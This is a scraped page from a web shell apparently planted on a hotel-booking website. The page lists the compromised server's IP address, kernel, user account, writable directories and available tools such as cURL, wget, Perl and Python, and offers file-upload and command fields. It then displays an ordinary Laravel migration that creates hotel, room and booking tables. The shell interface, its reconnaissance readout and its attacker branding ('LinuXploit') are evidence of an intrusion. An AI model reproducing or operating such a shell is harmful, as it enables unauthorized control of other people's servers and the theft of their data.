Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.14.249.191
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/modules/Hotel/Migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/modules/Hotel/Migrations/2019_09_20_072809_create_hotel_table.php
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;

class CreateHotelTable extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::create('bravo_hotels', function (Blueprint $table) {
            $table->bigIncrements('id');
            //Info
            $table->string('title', 255)->nullable();
            $table->string('slug', 255)->charset('utf8')->index();
            $table->text('content')->nullable();
            $table->integer('image_id')->nullable();
            $table->integer('banner_image_id')->nullable();
            $table->integer('location_id')->nullable();
            $table->string('address', 255)->nullable();
            $table->string('map_lat', 20)->nullable();
            $table->string('map_lng', 20)->nullable();
            $table->integer('map_zoom')->nullable();
            $table->tinyInteger('is_featured')->nullable();
            $table->string('gallery', 255)->nullable();
            $table->string('video', 255)->nullable();
            $table->text('policy')->nullable();
            $table->smallInteger('star_rate')->nullable();
            //Price
            $table->decimal('price', 12, 2)->nullable();
            $table->string('check_in_time', 255)->nullable();
            $table->string('check_out_time', 255)->nullable();
            $table->smallInteger('allow_full_day')->nullable();
            $table->decimal('sale_price', 12,2)->nullable();
            //$table->tinyInteger('is_instant')->default(0)->nullable();
            //$table->tinyInteger('allow_children')->default(0)->nullable();
            //$table->tinyInteger('allow_infant')->default(0)->nullable();
            //$table->tinyInteger('max_guests')->default(0)->nullable();
            //$table->tinyInteger('bed')->default(0)->nullable();
            //$table->tinyInteger('bathroom')->default(0)->nullable();
            //$table->tinyInteger('square')->default(0)->nullable();
            //$table->tinyInteger('enable_extra_price')->nullable();
            //$table->text('extra_price')->nullable();
            //$table->text('discount_by_days')->nullable();
            //Extra Info
            $table->string('status', 50)->nullable();
            $table->bigInteger('create_user')->nullable();
            $table->bigInteger('update_user')->nullable();
            $table->softDeletes();
            $table->timestamps();
        });
        Schema::create('bravo_hotel_translations', function (Blueprint $table) {
            $table->bigIncrements('id');
            $table->integer('origin_id')->unsigned();
            $table->string('locale')->index();
            //Info
            $table->string('title', 255)->nullable();
            $table->text('content')->nullable();
            $table->string('address', 255)->nullable();
            $table->text('policy')->nullable();
            $table->bigInteger('create_user')->nullable();
            $table->bigInteger('update_user')->nullable();
            $table->softDeletes();
            $table->timestamps();
        });
        Schema::create('bravo_hotel_term', function (Blueprint $table) {
            $table->bigIncrements('id');
            $table->integer('term_id')->nullable();
            $table->integer('target_id')->nullable();
            $table->bigInteger('create_user')->nullable();
            $table->bigInteger('update_user')->nullable();
            $table->timestamps();
        });

        Schema::create('bravo_hotel_rooms', function (Blueprint $table) {
            $table->bigIncrements('id');
            //Info
            $table->string('title', 255)->nullable();
            $table->text('content')->nullable();
            $table->integer('image_id')->nullable();
            $table->string('gallery', 255)->nullable();
            $table->string('video', 255)->nullable();

            //Price
            $table->decimal('price', 12, 2)->nullable();
            $table->bigInteger('parent_id')->nullable();

            $table->smallInteger('number')->nullable();
            $table->tinyInteger('beds')->nullable();
            $table->tinyInteger('size')->nullable();
            $table->tinyInteger('adults')->nullable();
            $table->tinyInteger('children')->nullable();

            //Extra Info
            $table->string('status', 50)->nullable();
            $table->bigInteger('create_user')->nullable();
            $table->bigInteger('update_user')->nullable();
            $table->softDeletes();
            $table->timestamps();
        });

        Schema::create('bravo_hotel_room_translations', function (Blueprint $table) {
            $table->bigIncrements('id');
            $table->integer('origin_id')->unsigned();
            $table->string('locale')->index();

            //Info
            $table->string('title', 255)->nullable();
            $table->text('content')->nullable();

            //Extra Info
            $table->string('status', 50)->nullable();
            $table->bigInteger('create_user')->nullable();
            $table->bigInteger('update_user')->nullable();
            $table->softDeletes();
            $table->timestamps();
        });

        Schema::create('bravo_hotel_room_term', function (Blueprint $table) {
            $table->bigIncrements('id');
            $table->integer('term_id')->nullable();
            $table->integer('target_id')->nullable();
            $table->bigInteger('create_user')->nullable();
            $table->bigInteger('update_user')->nullable();
            $table->timestamps();
        });

        Schema::create('bravo_hotel_room_dates', function (Blueprint $table) {

            $table->bigIncrements('id');
            $table->bigInteger('target_id')->nullable();

            $table->timestamp('start_date')->nullable();
            $table->timestamp('end_date')->nullable();
            $table->decimal('price',12,2)->nullable();
            $table->tinyInteger('max_guests')->nullable();
            $table->tinyInteger('active')->default(0)->nullable();
            $table->text('note_to_customer')->nullable();
            $table->text('note_to_admin')->nullable();
            $table->tinyInteger('is_instant')->default(0)->nullable();
            $table->smallInteger('number')->nullable();

            $table->bigInteger('create_user')->nullable();
            $table->bigInteger('update_user')->nullable();
            $table->timestamps();

        });
        Schema::create('bravo_hotel_room_bookings', function (Blueprint $table) {

            $table->bigIncrements('id');
            $table->bigInteger('room_id')->nullable();
            $table->bigInteger('parent_id')->nullable();
            $table->bigInteger('booking_id')->nullable();

            $table->timestamp('start_date')->nullable();
            $table->timestamp('end_date')->nullable();
            $table->smallInteger('number')->nullable();
            $table->decimal('price',12,2)->nullable();

            $table->bigInteger('create_user')->nullable();
            $table->bigInteger('update_user')->nullable();
            $table->timestamps();

        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::dropIfExists('bravo_hotels');
        Schema::dropIfExists('bravo_hotel_translations');
        Schema::dropIfExists('bravo_hotel_term');

        Schema::dropIfExists('bravo_hotel_rooms');
        Schema::dropIfExists('bravo_hotel_room_translations');
        Schema::dropIfExists('bravo_hotel_room_term');
        Schema::dropIfExists('bravo_hotel_room_dates');
        Schema::dropIfExists('bravo_hotel_room_bookings');

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit